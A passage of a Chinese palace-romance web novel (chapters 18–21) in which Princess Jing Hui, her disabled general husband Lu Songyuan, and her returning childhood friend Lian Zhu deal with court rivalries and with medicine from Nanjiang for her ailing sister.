景回翘翘唇角,嚼了几个糖葫芦还是觉得味道重。
她往陆颂渊胸前趴了趴,吸了吸鼻子问道:“陆颂渊,你方才去哪儿了?”
18. 红印。
陆颂渊脖颈僵了下,往后仰了仰。
他低头看去,只见景回眉心皱起,两腮鼓动嚼着糖葫芦,她唇间沾了糖霜,亮晶晶的。
又因着靠得太近,陆颂渊甚至能听见糖霜撞着她齿间的清脆声。
“嗯?”
见他看着自己还不说话,景回咽下口中的糖葫芦,伸出一根手指戳了戳陆颂渊的胳膊,催促道:“说呀。”
“去了趟京营,见了几个统领。”
陆颂渊颌线紧绷着,眨了下眼,收回视线看向前方,说道:“因着陛下病重,今年冬猎也取消,不用布防了。”
此事景回知道。
“那你身上怎么会有一股子甜香味儿?”
景回直起身,坐得离陆颂渊远了些,“跟景傲宫里的味道一样。”
陆颂渊挑挑眉,低头闻了下,确实闻见一股奇怪的味道,“方才在城外碰见二皇子,他的马车坏了,我稍了他一段。”
“太臭了。”
景回嫌弃地撇撇嘴,咬下最后一口糖葫芦后,景回把油纸包一扔,说道:“你离他远点,下次看见他别管。”
陆颂渊也不问为什么,只点头道:“好。”
“回去就沐浴,景傲这个人的味道跟他人一样恶心。”
景回低头嗅了嗅领口,嘟囔了一句,“去他宫里一趟,总觉得本公主身上也有味道了。”
陆颂渊闻言看向景回,片刻后又收回视线。
马车一路往将军府走去,将军府离皇宫并不远,马车晃晃悠悠,景回被颠的困得很。
陆颂渊的马车上次刺杀之时已经坏掉了,新的马车中还未放塌,坐着也硬得很。
“我要睡会儿。”
说完后,景回向前趴在了桌上,临睡前听见陆颂渊应了一声。
眯了一小会儿,脖颈处酸的要命,景回抬起头看了眼窗外,见马车还在街上,便伸手拉了拉一旁正襟危坐看兵书的陆颂渊,晃了晃他的衣袖。
陆颂渊视线从书上挪开,落在那素白的手指上,问道:“怎么?”
景回转面朝着他,闭着眼悠悠问道:“陆颂渊,还有多久才能到家啊?”
她并未完全清醒,声音软的像是涂了蜜的花儿般,带着点不易察觉的鼻音,仿佛撒娇似的。
他们惯常回府的路今日在修,是以陆青越绕了段路。
陆颂渊往外看了眼,约莫还要一刻钟的路程。
他转头看向景回,景回已然闭上眼,呼吸悠长。
陆颂渊不知景回是不是又睡着了,并未说话。
下一息,袖子又被拽了拽。
“陆颂渊。”
“一刻。”
“好久。”
得到了答案,景回直起身,这桌子也硌人得很。
她实在困,左右看看,还是盯住了陆颂渊。
“我想躺在你腿上。”
闻言,陆颂渊愣了下。
随后他眉头蹙起,看着景回。
景回努力瞪着桃花眼,看上去呆呆的,她道:“我困。”
大约是把他当做了身边的下人。
陆颂渊挪开膝盖上的书,问道:“你想怎么躺?”
景回低头看了看,陆颂渊轮椅的高度在马车座位和桌子之间,恰巧够她趴着的高度。
“你后退一些就好了。”
陆颂渊依言后退,景回往他那边靠近了些,随即便趴在了陆颂渊腿上。
而后不过片刻,便呼吸平稳。
陆颂渊低头看了眼景回的侧脸,捻了捻手指,拿起书翻看了起来。
“陆颂渊。”
“嗯。”
从小到大被直呼大名的次数都没有遇见景回之后多,陆颂渊都快习惯了。
他淡然翻过一页书,心道细算的话,他比景回将要大上五岁。
“这般压着你的腿,你会不会痛?”
陆颂渊思绪打断,心头募地一颤。
沉默片刻,他说道:“早就没知觉了,殿下且安心睡吧。”
“好吧。”
景回闭上嘴,心中想着来日等连珠带药回来,问问他能不能有没有法子,能把陆颂渊的腿治好了。
到了将军府后,景回游魂儿似的下马车沐浴钻进被子里,一觉睡到晚膳时,才彻底清醒过来。
醒来后的第一件事,景回便是吩咐人去查,那日景傲去景宁宫中与她说了什么。
阿颜领命前去,走时,景回叮嘱道:“切记莫让阿姐知道我在查。”
阿颜道:“是。”
晚膳时,景回和陆颂渊一同吃完,便各自去了书房。
两间对坐的书房内灯火通明,两人各自忙着各自的事情,并不互相打扰。
晚间到了就寝之时,景回先行坐在了床上,她抱着本史书正看得津津有味时,面前传来了轮椅的声音。
陆青越将陆颂渊推到床边后,屋中下人灭灯出去,只剩下窗前一盏昏黄的灯火晃悠着。
景回放下书,抱着手臂一副秋后算账的模样,“那两个丫头是你派过去的。”
她在说进宫之前,书房前的两个婢女。
陆颂渊笑了声,将轮椅卡在机关上,随后借力坐进床内,靠在床头拿起景回方才看过的书,“殿下听到什么便是什么了。”
把当日景回说的话原封不动还回来了。
景回懒得在与他就这个事儿纠缠,她抢过陆颂渊手中的书放在枕边,躺进被子中说道:“你目的达成了,今夜分房睡。”
陆颂渊愣了下,昏暗的灯光下,景回小脸倔强地看着他,陆颂渊抿唇,拿起桌上的纸折了下,射向窗边的蜡烛。
蜡烛熄灭,陆颂渊躺进被子里,“臣腿脚不便,不好劳动人再折腾,烦劳公主体谅。”
“哼。”
景回也不会真的赶他,只觉陆颂渊这人的嘴说出来的话能气死人。
她闭上眼,陷入沉睡之中。
景回不在的这几日,陆颂渊独自躺在床上,并未感觉有何不对劲之处。
今日景回回来后,躺在他身边,陆颂渊却忽然觉得怀中空落落的。
黑暗会无限放大人的感官,景回的呼吸声响在耳旁。
陆颂渊整个人被她的气息包裹,莫名想起初见时她握着他手臂的手,喝水的唇,新婚之夜坐在.他身上的力.度,以及将人抱在怀中偶尔触碰到的柔软。
他只觉浑身发痒,生出了一种强烈的,想触碰的渴望。
陆颂渊喉结滚动。
不能再想了,他闭上眼。
而后又猛得睁开眼。
胳膊处贴上来了熟悉的柔软。
他转头看去,是沉睡中的景回无意识翻身,挤到了他身边。
她不
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仅抱住了陆颂渊的胳膊,还将腿搭在了他腿上。
陆颂渊:“……”
-
隔日晨起,景回醒来之时,陆颂渊已经不在床上了。
她洗漱过后,由着阿鱼给她脖颈凃祛疤的药。
距陆颂渊射出那一箭,已经几月了,秋日里伤疤长得快些,这药约摸着再用半月,便能彻底祛除伤疤了。
阿鱼边上药,边撩起景回的头发,惊道:“公主,您这脖颈后面怎么一块红印?”
“嗯?”
景回心中还在想着景宁呢,有些心不在焉,她看向面前镜子,“什么红印?”
阿鱼拿了一块铜镜站在景回身后,两块镜子这么一照,景回从面前镜子中看见了脖颈侧面确实如阿鱼所说,有一块红印。
“这红印?”
阿鱼看了眼景回,说道:“很像被人吸出来的。”
景回瞪大双眼,思索片刻后,摇头说道:“昨夜我把书放在枕边了,应当是滚过去的时候压到的。”
“这样吗?”
阿鱼放下镜子,转头之时,正巧看见铺床的婢女从床内拿出了一卷书。
“公主夜间看完书后,还是让奴婢取走吧,免得伤到您。”
“好。”
二人这厢话音刚落,门外阿颜走了进来。
“公主,丞相府来人。”
阿颜表情欢喜,“说中郎将回来了。”
中郎将正是连珠的官职。
“连珠回来了?”
景回站起身,满脸欢喜,“何时回来的,报信之人如何说?”
“他就等在前厅,殿下请。”
景回大步往外走去,到了前厅,果真看见了连珠的亲随。
“参见公主!”
亲随自幼跟在连珠身边,见到景回也很是欣喜,“公主,我们大人回来了!”
“太好了,何时回来的?”
景回笑道:“他在何处,怎么不亲自过来?”
“昨夜到上京时已经太晚了,大人便没让属下来打扰,这不今个一早便让属下过来了。”
“好好。”
景回连连说道:“他人呢?南下一趟可有收获?”
“这,大人不让小的说。”
景回脸色变了,亲随却还是笑眯眯的,“我们大人说,公主殿下成婚不等大人回来便罢,连信也不往南边送一封,大人还要从听别人口中得知,很是生气。”
此事景回是有些心虚,她扬声道:“那他要本公主如何赔罪?”
“大人要吃上京最好的馥桂楼里的十品珍宝!”
亲随笑呵呵说道:“公主,大人在馥桂楼雅间等您呐。”
“就知道。”
景回咬牙说道:“阿颜,跟本公主去一趟。”
“是。”
亲随赶着马车,送景回到馥桂楼时,刚巳时。
馥桂楼在太平大街上,这时太平大街已经热闹起来了。
景回轻装出街,并未带太多下人,马车停下,景回站在车辕准备下马,要进楼时,忽然感觉脑袋被人砸了下。
她怒气冲冲抬头,正巧看见三楼雅间的窗户边上坐着一人。
那人一身红衣,笑的张扬。
见景回看过来,用不羁的语气逗她道:“还是和小时候一样慢,阿珠,你在路上种蘑菇呢?”
19. 哥哥。
“哼。”
楼上雅间,景回端起桌上备下的茉莉茶送到口边,茶的温度刚刚好,她饮下一些后,重重将茶杯放在了桌上。
朝着窗边人狠狠哼了一声。
连珠收回挂在窗外的长腿,跳下窗朝着景回走来。
“你还哼上了。”
连珠的母亲曾是名动天下的美人儿,他的模样大半随了母亲,看上去有些女相。
虽自幼习武,身材修长高大,肤色却比景回还白。
因此幼时受了不少皇子们的欺负,还是景回将他护在身后,二人一同长大,是真正意义上的青梅竹马。
他屈起一条腿,手肘撑着桌子坐在景回对面,佯怒道:“本公子才走多久,你就成婚了。成婚也不告诉本公子,本公子还要从那山沟的老妪口中得知。”
连珠一拍桌子,“你还生上气了。”
“你再自称本公子试试呢!”
景回心虚,但声音大,她吼完后,眼尾向下低垂,“我不信你不知道我为何成亲。”
在连珠看来,整个大梁朝都没有能配得上景回的,是以知道景回成婚之事时,他便问了连忠其中缘由。
虽然知晓景回不传信给他是怕他在外担心,但在连珠心中,整个大梁就这么一个妹妹,心疼之时,难免要吓唬吓唬她。
主意也太大了。
还有后来那被刺杀之事。
样样惊心动魄。
连珠看着景回丧气的模样,到底语气软了些,“当日为何不向父亲求助?”
“父皇病重,陆颂渊携兵回京,太后也已经下旨,丞相又能做什么。”
景回吸吸鼻子,“我应下的,也已经成婚了,你吼我也没用。”
一室静默,街边热闹的声音顺着大开的窗子传进屋内。
半晌后,连珠问道:“那断了腿的将军可有欺负过你?”
景回鼻头一酸,闷声说道:“他都断腿了,哪里还能欺负得了我。”
“那便好。”
连珠拉长音调应了声,随后语气正经起来,“他大名响彻大梁,我在南疆也听过,纵是知道没人欺负得了你,也很是担心。”
“没事。”
方才连珠发问时,景回便开始细想,到是并未想到嫁人后任何受气之处。
“垂头丧气的,看哥哥给你带回来了什么好东西。”
连珠酷爱红颜色,不论衣衫发冠,腰封屐履皆得带上些红。
这般一笑,今日这身红衣也衬得他喜庆非常。
景回抬起头,只见连珠从怀中摸出来了三个锦囊。
锦囊颜色各不相同,一金一白一黑,上面什么图案都没有。
“这是什么?”
景回伸手,拿起金色锦囊看了看。
“就喜欢亮眼的东西。”
连珠笑了一声,说道:“你不是想问我南下可有收获吗,这便是。”
景回心中一喜,“你找到神医了?这是阿姐的药吗?”
连珠此次去南疆,本是替皇帝南下抓贼以及暗中寻访南疆富户的。
他走之前,景回从茶楼中听话本说南疆有神医,神医手中有救人金丹,或许可救景宁。
于是拜托连珠在南疆之时,帮她找一找。
话本毕竟是话本,景回本也并未抱什么希望,却没想到南疆真有神人,还真让连珠找到了。
“是啊,应了你的,自然得做到。”
连珠扬唇一笑,撑在桌上前倾着说道:“本公子上山下海入沟,好不容易给你找回来这三颗救命金丹,你该如何报答我?”
“帮你追白智!”
景回桃花眸子亮晶晶,脸上也笑开了花,她直起身子说道:“快说,这药如何用?”
连珠听见白智的名字愣了下,见景回着急地满怀欣喜,也不与她卖关子,便简说了寻神医之事。
“神医给了我四颗药丸,其中一颗,今晨宫门开我便让人去给五公主服下了,剩下这三颗。”
连珠拿起黑色香囊说道:“今日午时,让五公主再将这枚药丸服下,之后再过两月,将这白色香囊中的药丸服下。不说大安,最起码她可以如常人般跑跳了。”
“只要比现下好,便是最好了。”
景回长长松了口气,看到手中金色香囊,问道:“那这个香囊里装的什么?”
连珠看着她乐,抓了把桌上的豆子说道:“是神医额外给的保命丹,说是能在人病危之时,把人从鬼门关拉回来。”
景回皱皱眉,把香囊递在连珠面前,说道:“既如此,你便拿着吧。”
“不必,保命丹在你那处作用大。”
连珠脱口而出,说完后瞬间顿住了。
景回抿唇,她知晓连珠是好意。
景文帝这病来势汹汹,天下最好的太医及各路医师不断入宫都没能根治,来日或许真能用的到。
但还是瞬间用上来了一股难过。
连珠连忙补救,说道:“要是那日你被那将军揍得只剩下一口气了,记得吞下去,跑来找我,哥给你报仇。”
景回把金丹收回袖中,指尖点了点桌子。
阿鱼随即走进来,景回吩咐道:“给中郎将上十品珍宝。”
阿鱼行礼道:“是。”
便出去了。
还叫上中郎将了。
“阿珠……”
“哼。”
阿鱼出去后,景回从怀中摸出一个剑穗子,递给连珠说道:“给你。”
剑穗通身是用金红两道丝线编成,连接挂绳及流苏之间挂了一块鸽子血般,通身剔透的红玉,辗转交织甚是好看。
“这是什么?”连珠两指捏起,拿在眼前晃了晃,“谢礼?”
“补给你的生辰礼。”
景回伸手抢,“不要还我。”
“那得要。”
连珠躲了下,手背摸了摸那玉,好了伤疤忘了疼,逗景回,“这是北境的红玉吧,这般品种甚是少见,是你那夫君给你的彩礼?你这般送我……”
“连珠!”景回怒吼一声,头上的金钗都跟着晃了晃。
“好好好,不逗你了。”
连珠哈哈大笑,将手边剑放在桌上,剑柄朝着景回说道:“给我系上。”
景回瞪他。
“多谢你了。”连珠摊开手,露出掌心,“我手上都是油。”
景回咬牙骂了他一句,伸手给他系上,将剑推回他面前。
正巧这时十品珍宝上了桌,二人食不言,一顿午膳很快用完了。
“走吧,直接进宫。”
“走着。”
将到午间,馥桂楼来用饭之人甚多。
二人一同出了
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雅间,下楼之时,连珠慢悠悠跟在景回身后嘴不停,东说一句西说一句,还抽空护着景回,以防她被人撞到。
走到一楼大堂,景回实在嫌弃连珠烦,回身给他一拳。
“你烦死人了。”
“呦,这是谁啊?”
景回话音刚落,不远处忽然传来一句挑衅般语气的话。
她转头看去,果不其然是景傲。
他身边则是由陆青越推着的陆颂渊。
他们应当也是刚用完膳,景傲抬步走来景回面前,看了景回一眼后,看着连珠问道:“中郎将回来了啊,可去拜见过我父皇了?”
连珠和景回一样烦景傲,他恢复冷峻的面色,“臣参见二皇子,陛下还未醒,臣正准备进宫看望陛下。”
“看来在中郎将心中,这个妹妹比君上更重要。”
景傲手背在身后,挺着刚吃饱的大肚子,在二人面前走了个来回,“不过现下景回已经和陆将军成婚了,再与中郎将私会,不太好吧。”
净说些屁话。
大堂众人知晓他们是富贵之人,都躲得远远的,周围空出来一片空地。
众人一同看向景回,景回的视线则一直在陆颂渊身上。
他们身后的雅间大开着门,屋中再无别人走出,景回记得她跟陆颂渊说过很多次,她烦景傲,让他离景傲远点,陆颂渊也是应了的。
如今这二人倒单独吃上饭了。
景回看着陆颂渊问道:“你为何会在这里?”
景傲见景回不搭理自己,一个跨步就挡在了陆颂渊面前,“景回,我跟你说话呢!”
“陆颂渊。”
“景回!”
“劳烦二皇子让让,臣与夫人说句话。”冷不丁的,陆颂渊在景傲身后说了句。
景回听见他这称呼,也是愣了下,她眉头皱起。
景傲脸面一时有些挂不住,他站在原地一动不动。
陆颂渊点了点轮椅扶手,陆青越便推着他绕过二皇子,停在景回面前。
景回低头看着陆颂渊。
离得近了,她感觉陆颂渊身上又沾上了景傲身上的臭味,遂后退了一大步。
陆颂渊看见她的动作,怔了下。
“早起出城,回来时路过此处,想着买几个招牌菜回去,恰巧碰见了二皇子。”陆颂渊抿唇,“二皇子盛情邀请,我不好拒绝。”
景回不信。
皱着眉没说话。
陆颂渊说完后,看向连珠。
连珠也是第一次见陆颂渊,多年来习武养成的敏锐,让他感觉到陆颂渊身上带着股尖锐的敌意。
可巧,他观陆颂渊也很是不喜,他向来看人准,此人应当城府极深。
无形的火花蹦在二人视线中间,这厢一时安静下来,最终还是连珠先退让了一步。
“连珠,任羽林中郎将,见过陆将军。”连珠拱了拱手,腰间剑上的剑穗晃了晃,“还未恭贺将军和令妹大喜。”
陆颂渊看见那剑穗中间的红玉,眼神募地沉了沉。
他点了点头,看向景回,“殿下要去何处?”
景回心中有股不小的怒气,她瞥了眼陆颂渊,说道:“进宫看我阿姐。哥,走了。”
景回说完后转身便走。
但没走成。
她的手腕被人握住了。
20. 阿珠。
“我送你。”
陆颂渊的手松开些许,从景回的手腕处下滑到掌心,而后五指张开,把景回的小手撑开,十指插.入景回指缝,将她的手完全包裹在了掌中后,便不敢用力了。
她的手太软,摸上去光滑细腻,陆颂渊动了下鼻尖,在周围环绕的饭香中,闻见了一股雨后茉莉的清香味。
闻得他心尖发痒。
陆颂渊滚了滚喉结,余光瞥见站在一旁的所谓哥哥之后,他的手稍稍握紧了些。
发觉方才语气有些不好,陆颂渊仰头看着景回透光的耳垂,自认有轻柔的语气说道:“我送你出去。”
“谁要你送。”
景回脱口而出。
成婚数日,在一张床上同宿过,更亲密的动作甚至也做过,现下只是牵手,景回脸庞竟然有些发热。
她转过身去,甩了甩手没甩开,陆颂渊似乎还攥得更紧了。
景回瞪他,“松开。”
视线相撞。
相贴的手掌开始剧烈发痒,明明空无一物,却在疯狂跳动,像双手之间生长了颗连接两人心,痒得谁都动弹不得,甚至都想握得更紧。
“陆颂渊……”
到底是陆颂渊力气大,他掌心还有厚茧,景回指根发痛,刚唤了陆颂渊一声,就被他打断了。
“阿珠。”
他清冽的嗓音中带着沙哑,唤她闺名。
景回呼吸一滞。
“我送你。”
是不容拒绝的语气。
边北那些传闻来到上京之时,陆颂渊在景回心中的印象真的算不上好。
她曾十分恐惧他,也曾想过依皇家之势,对他的性命有过想法,但成婚之后,准确来说,那日刺杀之后,那些关于陆颂渊的谣言在景回这里逐渐瓦解,所以她对他开始有了宽容。
以至于在大庭广众之下,名义上并不算熟的驸马兼"仇家"唤她阿珠时,景回没有揍他。
她呆愣片刻后,把这归功于陆颂渊的声音太好听,太有蛊惑力,才让景回未能动手。
“不准叫!”
景回透光的耳尖逐渐泛红,她嗓音卡住,又说道:“你,不准这么叫我。”
周围窃窃私语的人越来越多,几人仿佛认出了他们,虽然不敢直接看他们,暗地里的目光却并不少,陆颂渊不习惯这般。
于是他语气又轻柔了些,“我送你出去,好不好?”
声音不算大,却因为周边静得很,是以陆颂渊这句话准确的传到了不少人耳中。
听见的人面上表情各异,但不外乎都有一种意思。
这语气,煞神也为小公主倾倒了。
景回也未曾见过陆颂渊这般模样,她听着陆颂渊称得上温柔的嗓音,被他握住的半边身子似乎都是烫的。
她妥协,“送,送送送。”
这场闹剧中,最吃惊的是陆青越。
他站在陆颂渊身后,将陆颂渊的所有动作都看在眼里,他自然不会像旁观者认为的,陆颂渊被景回迷倒。
他是在惊讶,此时的陆颂渊,是在战场上才能见到的他。
为了诱如小白兔般的敌人落进毒蛇陷阱,他将鳞片伪装,把身体扭曲成兔子的模样。
陆青越想,纵是现下的陆颂渊心硬似铁,拜在美人罗裙之下,也是迟早的事。
常言道美人关难过,啧啧,况且是世间少有的绝色美人呢。
“青越。”
陆颂渊指尖敲了敲轮椅扶手,“回神。”
“是。”
陆青越停住胡思乱想,连忙请罪,“属下方才走神,还请将军公主责罚。”
陆颂渊深深看了陆青越一眼,不言惩罚。
景回则更不会惩罚她,在此耽误许久,午时将至,景宁还等着药呢。
景回甩不开陆颂渊的手,只好按了下他手背上的凸起,说道,“快走吧。”
“好。”
一行人浩浩荡荡走到馥桂楼门口,下台阶走到马车前,陆颂渊才舍得松开景回。
现下乘马车去皇宫,恐怕是不行了,阿鱼早早备好马牵来景回面前。
景回接过阿鱼递来的手帕,擦了擦手心的潮湿,脚踩马镫,利落地翻身上马。
宽大的裙摆随着她的动作飘起,落在身后马背上。
方才谁也没空搭理景傲,现下景傲不知为何还不走,远远站在陆颂渊身后。
景回瞥了景傲一眼,居高临下看向陆颂渊,“此事没完,本公主早已不信你那一套说辞,陆颂渊,你最好想想如何向我交代。”
方才握着景回手的左手不停磋磨着,手心的潮湿慢慢扩大,陆颂渊心不在焉地应,“殿下慢走。”
景回朝着陆颂渊狠狠哼了一声,拽起缰绳,衣衫之下手臂肌肉凸起好看的弧度,“驾——”
连珠紧随其后,朝着二人点点头后,便驭马追上景回。
众人一同看着二人背影,马上二人着装一蓝一红,衣摆竟都绣着莲花,风轻轻吹起他们的衣摆,好似并蒂般。
陆颂渊低头看着今日所穿黑衣,骤然面色不虞,眉头不掩饰蹙起。
陆青越时刻关注自家将军,见状他笑着低声说道:“回神了,将军,您今日可太不对劲了。”
陆颂渊眼尾轻挑,冷冷瞥他一眼。
陆青越憋笑,刚想再说什么,身后跟屁虫走了上来。
景傲迈着四方步,像只竖着走的螃蟹似的,身宽体胖。
他晃到陆颂渊身侧,语气轻蔑地说道:“这女人就得管教,何况是景回这等自小就不守规矩的,你看她哪有公主的模样。颂渊,我那有好.药,保证把她调.的匍.匐在你脚.下,让.干什么就干.什么……”
“那些龌龊手段,本将军用不着,也从不屑于用。”
陆颂渊靠在轮椅上,眼神直视前方,沉声道:“二皇子若是将这对付女子的心思用在朝政上,将来定是能登大宝。若你还是这般……”
陆颂渊转头,一个眼神看过去,景傲在日头下顿觉遍体生寒。
“来找本将军的皇子并不少,二皇子看着办。”
朝廷上下不过六部,军营,四方,这些势力在陆颂渊来上京之前,已然被景回及各个皇子细细瓜分,毫无疑问,景回定然是占了大头,其余皇子的势力单薄,是以暗地里的厮杀从未停止。
而陆颂渊的到来,乃是给朝廷涌入一股强大的,未知的军事势力。
可惜这股势力被早早定下,在景回身旁。
在外人眼中,景回公主下嫁残缺之人,陆颂渊入皇室却不得皇帝重用,二人定是水火不容,这些皇子们便都抱着试试的心思,想要将陆颂渊拉入阵营。
这些天,几乎所有想争一争皇位之人都来找过陆颂渊,连最小的皇子都不例外。
不过他们都未得到陆颂渊肯定的答复,倒是都得到了陆颂渊不会帮景回的消息。
这是好消息。
于是众皇子忙不迭给陆颂渊下请帖,试探他的心思,多日来陆颂渊谁都没应,就今日应了景傲一人。
景傲向来嘴上不把门,旁人不敢说什么,今日倒是第一次有人训他,偏他还不敢说什么。
“我,我还以为景回心高气傲,不肯从了将军。”
景傲赔笑,连称呼都换了回去,微微弯腰凑在陆颂渊身侧,“原来早已是猎物,还是陆将军你有本事,既如此,本殿便不好打扰,不好打扰。”
陆颂渊不置可否。
场面一时尴尬祝,待面前叫卖声过去,陆青越说道:“方
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才席间将军所言,二皇子可记下了?”
景傲看向陆青越,“自然是记下了。”
“那二皇子只照做,便可。”
景傲低头看了眼陆颂渊,心中再如何,面上也是有些敬意的,“好。”
陆颂渊开金口赶人,“慢走。”
“好。”
在自家下人面前,景傲的脸面早就挂不住了,他应了之后忙不迭上了马车,从窗户跟陆颂渊打招呼,“那本殿先走了,改日再见,陆将军。”
陆颂渊轻点了下头,“恭送二皇子。”
车窗放下,还未走多远,马车便传来了景傲发脾气的声音,似乎在嫌下人倒的茶烫。
陆青越啧啧一声,刚想说什么,便听陆颂渊吐出二字,“蠢货。”
陆青越抱着手臂狠狠点头,“没见过这么蠢的。”
“让昼雪找几个北境女子,会功夫的,安插在他身边。”
陆颂渊想了下,“还有宫中那个娘娘身边。”
他说的是二皇子的母后,悦嫔。
“是。”
陆青越道:“还有三皇子。咱们从来上京便未见过三皇子,属下打听来,说是三皇子为人阴郁,身材样貌以及作风都跟宫中太监似的,自小便跟在二皇子身后,像个小跟班。早几个月和二皇子一同出去游猎时,为保护二皇子,被黑熊拍伤了,近来应当会大好。咱们要不要往他身边也埋了人,日后或许会有大用。”
“嗯。”
“得嘞。”
大正午的,晒了这么久日头,也该回府了。
陆青越推着陆颂渊往自家马车走去。
“还有。”陆颂渊开口。
“什么?”
“给本将军查查方才那个中郎将。”
陆青越疑惑,“查什么?”
“祖上三代,自幼生平,以及……”
陆颂渊把左手凑在鼻下轻嗅,那里还有一股余香,“和殿下的过往。”
陆青越瞪大了眼。
-
这厢景回和连珠驭马到了皇宫,景回本是能在宫中随意骑马的,但由于景文帝病重,景回便和连珠在宫外下了马。
还不到午时,二人便缓着气,边悠悠往景宁宫中走去。
连珠习惯性从怀中摸出一方帕子递给景回,景回顺手接过后,忽然想起她惯常用的帕子在陆颂渊初次夜间登锦绣宫时扔在了他身上。
景回对等私物格外念旧,她心道晚间回去得找陆颂渊要回来。
“阿珠。”
“嗯?”
景回用帕子擦了擦鬓角,秋日午后的日光格外晃人眼,照的她面若透玉。
连珠收回目光,看着前方,“你这夫君瞧着可不对劲啊。”
景回惯常跟他顶嘴,“你夫君!”
“好好好。”
“用你说。”
景回斜睨他一眼,“我早知道。”
“防着点他。”
“唠叨。”
“别最后身心都让人给骗去了。”
“我又不是傻子。”
两人这厢说着话,远远有几个外邦打扮的人走来面前,他们手中拿着圣旨,满脸得偿所愿的欢笑。
他们来景回面前行礼,离得近了,景回看出他们的服饰乃是戎袭的着装。
他们不是走了吗,怎么又回来了。
“参见公主殿下。”
“起来吧。”
景回目光划过他们手中圣旨,心中莫名有些不适,“你们去见我父皇了?”
“是。”
戎袭人恭敬说道:“臣等去向皇帝陛下求了一道联姻圣旨。”
“联姻?”
景回心中咯噔一下,右眼皮忽而狂跳,“和谁?”
21. 浴桶。
景回问完后,两个戎袭人对视一眼,手拿圣旨之人说道:“此事还未宣,臣等实在不好说,还望公主见谅。”
如今宫中适龄的公主有四五个呢。
景回皱皱眉,暗自安抚一番,应了声便往莲玉殿中走去。
日头明晃晃挂在上空,来到莲玉殿中时,还是很刺眼。
殿中已经熏上了火笼,比夏日来还要热上许多,下人来二人面前行礼过后,便引着他们走进殿。
“晨起用过药,我阿姐可好些了?”
景回跨过门槛,走进屋中,屋内有一股若有若无熏过的艾草味儿。
婢女回:“用过您送来的药后,公主确实感觉胸膛有股清气流转,但不过片刻便昏了过去,还吐了血。”
“什么?”
景回一惊,转身看了连珠一眼。
见连珠表情悠悠,并无任何慌张,便知应当是服药过后的正常反应。
“我阿姐现下如何了?”
“太医现下就守在公主床前,方才看诊说是药性虽温和,药力却大,将胸口堵塞的血吐出来便好了。”
婢女话音刚落,内殿的太医走了出来,朝着景回和连珠行礼。
“老臣参见公主殿下,参见中郎将。”
“起来吧。”
景回隔着帷幔看了眼内殿,问:“五公主现下如何?”
“气息可进五脏,于丹田汇合,浊气吐出不少,公主的气息逐渐变长了。”
太医磕头道:“此药有大用啊。”
习武之人本进出气息缓慢,且悠长,景宁受伤之后气短且急促,如今重新变长,可见确实是好事。
“那便好。”景回点点头。
太医又问道:“臣等观这药是从南疆来的,敢问公主殿下,这药是否还需与其他药一同吃下,才可发挥最大效用?”
“太医慧眼。”
耽搁不得,景回说完后,回头看向连珠,连珠从怀中摸出另一枚药丸递给太医。
“此乃第二颗,现下正是给五公主喂药之时。”
“是,臣遵令。”
太医不曾见过这等罕见的南疆药丸,连忙接过,如获至宝般捧着向内殿走去。
景回紧随其后,连珠则等在外殿之中,婢女给他上了茶,连珠坐在座上,听见屋内景回问询的声音。
内殿景宁双眸紧闭,脸上皆是痛苦之色,她身上盖着厚被子,豆大的汗珠不断从面庞滑下。
但唇色却是鲜红的。
婢女在后撑起景宁,太医拿起药丸放进景宁口中,又给她喂了水。
药丸应当是在景宁口中化了水,她紧皱着眉大口吞下,咳嗽几声后,又没了动静。
太医在旁看了景宁一会儿,才起身给景回行礼道:“公主殿下不必担心,五公主现下无事,待她醒来老臣再给她把脉,确定状况。”
“她何时会醒?”景回看着景宁问道。
太医也回身看了眼景宁,说道:“这不好说,端看这药在公主身体中的吸收情况。若是吸收的快,药力都去了该去之处,便会醒的快些。时候再长不会超过五日,殿下放心。”
“劳烦太医。”
“老臣不敢。”
见景宁一时半会儿确实醒不过来,景回俯身给她拉了拉被子,走出内殿,吩咐屋中众人道:“尔等在此好好照顾阿姐,若有事随时去将军府找我。”
“是。”
景回看了眼连珠,二人一同走出莲玉殿,沿着宫道慢慢向养心殿走去。
景文帝既然醒了,连珠要去拜见他,景回自然也要去看看父皇。
景回开口,“多谢你了。”
“不必。”
连珠晃悠着景回午时送他的剑穗子,说道:“全天下你最爱你阿姐,身为哥哥,当为你排忧解难。”
“当哥哥上瘾了!”景回瞪他。
不说平日里,纵是从小到大,景回都没叫过连珠几次哥哥,方才不过为了气气陆颂渊唤了他一声,还让他惦记上了。
连珠笑了几声,那笑容颇有江湖之人的风范,景回快走了几步,连珠连忙跟上,同她如幼时般打闹。
这厢打闹着到了养心殿,正巧景文帝用完午膳。
二人一同走进去,朝着在榻上坐着的景文帝行礼。
“儿臣参见父皇,父皇大安。”
“臣连珠叩见陛下,陛下大安。”
景文帝脸色一如既往苍白,脸颊处的凹陷越发严重,日头从他身后照进屋内,为他镀上光晕,倒显得他愈发单薄。
他咳嗽几声,用了口茶后,摆摆手,“朕的好孩子们,快起来。”
“谢父皇。”
“谢陛下。”
二人起身,景回坐在景文帝对面的榻上,连珠则下坐在景文帝旁边,太监给他搬来的凳子上。
“又是几日不见,朕的阿珠都瘦了。”
“哪有!我还吃胖了呢。”
景回胳膊撑在桌上,手托着脸问景文帝:“父皇可好些了?”
“好啦。”
景文帝挂心朝政,二人这厢说了几句,景文帝便直接吩咐连珠说南疆巡查之事,景回则在旁拿起了纸笔,记所述要是。
以往有大臣来找景文帝禀报要事,也是景回在旁记录。
“南疆地大物博,有很多东西是上京没有的。例如种植的草药,可军用的木头等,这也吸引了很多外来之人,往来之人繁杂,便有了不少不守规矩之人。”
连珠缓缓道来,“臣几乎走遍南疆,多地风情不同,但各地确有一处是几乎相同的。便是官不敌商,更有甚者,钱财之物累积过大之后,便开始不遵守朝廷律法,走私之事不在少数……”
养心殿内,一人纷说,两人倾听。
日渐西斜,宁禄第三次进来上茶和点心,三人一同稍稍用过后。
“总而言之,南疆虽不如北境,表面上乱作一团,但暗地里的暗流也是不可小觑,若朝廷此刻不加以干预,将来或许会动摇社稷。”
连珠道:“今日粗略所说,臣整理了详细奏表,明日呈给陛下,还请陛下多思量。”
景文帝咽下口中茶水,接过帕子擦了擦唇边,看着连珠消瘦不少的身形说道:“好。此去南疆辛苦你了。”
“为陛下分忧,臣万死不辞。”
连珠在景文帝面前时神情庄重,此言说的铿锵有力,任谁见了都得说上一句忠君。
景文帝静静看了连珠半晌,片刻后,他笑了下,看了眼景回后,说道:“你同你父亲,阿珠的祖父一般,都是朕身边不可或缺之人。”
景文帝许久都未提及景回的祖父了。
